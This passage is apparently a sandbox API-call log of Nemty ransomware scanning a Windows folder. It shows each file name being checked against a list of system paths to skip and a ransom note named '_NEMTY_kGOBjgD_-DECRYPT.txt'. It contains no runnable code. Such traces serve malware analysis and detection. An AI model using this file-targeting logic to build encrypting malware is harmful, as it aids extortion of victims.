(lpString1="wabfind.dll", lpString2="bootmgr") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="programdata") returned 1 [0102.529] lstrcmpiW (lpString1="wabfind.dll", lpString2="appdata") returned 1 [0102.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabfind.dll", lpUsedDefaultChar=0x0) returned 11 [0102.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabfind.dll", lpUsedDefaultChar=0x0) returned 11 [0102.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabfind.dll", lpUsedDefaultChar=0x0) returned 11 [0102.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabfind.dll", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabfind.dll", lpUsedDefaultChar=0x0) returned 11 [0102.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0102.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.529] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0102.529] lstrcmpiW (lpString1="wabimp.dll", lpString2=".") returned 1 [0102.529] lstrcmpiW (lpString1="wabimp.dll", lpString2="..") returned 1 [0102.529] lstrcmpiW (lpString1="wabimp.dll", lpString2="...") returned 1 [0102.529] lstrcmpiW (lpString1="wabimp.dll", lpString2="windows") returned -1 [0102.529] lstrcmpiW (lpString1="wabimp.dll", lpString2="$RECYCLE.BIN") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="rsa") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="NTDETECT.COM") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="ntldr") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="MSDOS.SYS") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="IO.SYS") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="boot.ini") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="boot.ini") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="AUTOEXEC.BAT") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="ntuser.dat") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="desktop.ini") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="CONFIG.SYS") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="RECYCLER") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="BOOTSECT.BAK") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="bootmgr") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="programdata") returned 1 [0102.530] lstrcmpiW (lpString1="wabimp.dll", lpString2="appdata") returned 1 [0102.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabimp.dll", lpUsedDefaultChar=0x0) returned 10 [0102.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabimp.dll", lpUsedDefaultChar=0x0) returned 10 [0102.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabimp.dll", lpUsedDefaultChar=0x0) returned 10 [0102.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabimp.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabimp.dll", lpUsedDefaultChar=0x0) returned 10 [0102.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0102.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.530] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0102.530] lstrcmpiW (lpString1="wabmig.exe", lpString2=".") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="..") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="...") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="windows") returned -1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="$RECYCLE.BIN") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="rsa") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="NTDETECT.COM") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="ntldr") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="MSDOS.SYS") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="IO.SYS") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="boot.ini") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="boot.ini") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="AUTOEXEC.BAT") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="ntuser.dat") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="desktop.ini") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="CONFIG.SYS") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="RECYCLER") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="BOOTSECT.BAK") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="bootmgr") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="programdata") returned 1 [0102.531] lstrcmpiW (lpString1="wabmig.exe", lpString2="appdata") returned 1 [0102.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabmig.exe", lpUsedDefaultChar=0x0) returned 10 [0102.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabmig.exe", lpUsedDefaultChar=0x0) returned 10 [0102.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabmig.exe", lpUsedDefaultChar=0x0) returned 10 [0102.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0102.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wabmig.exe", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wabmig.exe", lpUsedDefaultChar=0x0) returned 10 [0102.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0102.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.532] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2=".") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="..") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="...") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="windows") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="$RECYCLE.BIN") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="rsa") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="NTDETECT.COM") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="ntldr") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="MSDOS.SYS") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="IO.SYS") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="boot.ini") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="boot.ini") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="AUTOEXEC.BAT") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="ntuser.dat") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="desktop.ini") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="CONFIG.SYS") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="RECYCLER") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="BOOTSECT.BAK") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="bootmgr") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="programdata") returned 1 [0102.532] lstrcmpiW (lpString1="WinMail.exe", lpString2="appdata") returned 1 [0102.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe", lpUsedDefaultChar=0x0) returned 11 [0102.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe", lpUsedDefaultChar=0x0) returned 11 [0102.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe", lpUsedDefaultChar=0x0) returned 11 [0102.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0102.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WinMail.exe", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WinMail.exe", lpUsedDefaultChar=0x0) returned 11 [0102.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0102.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.533] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0963870, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf0963870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf09899d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0102.533] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0102.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0102.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.534] HeapFree (in: 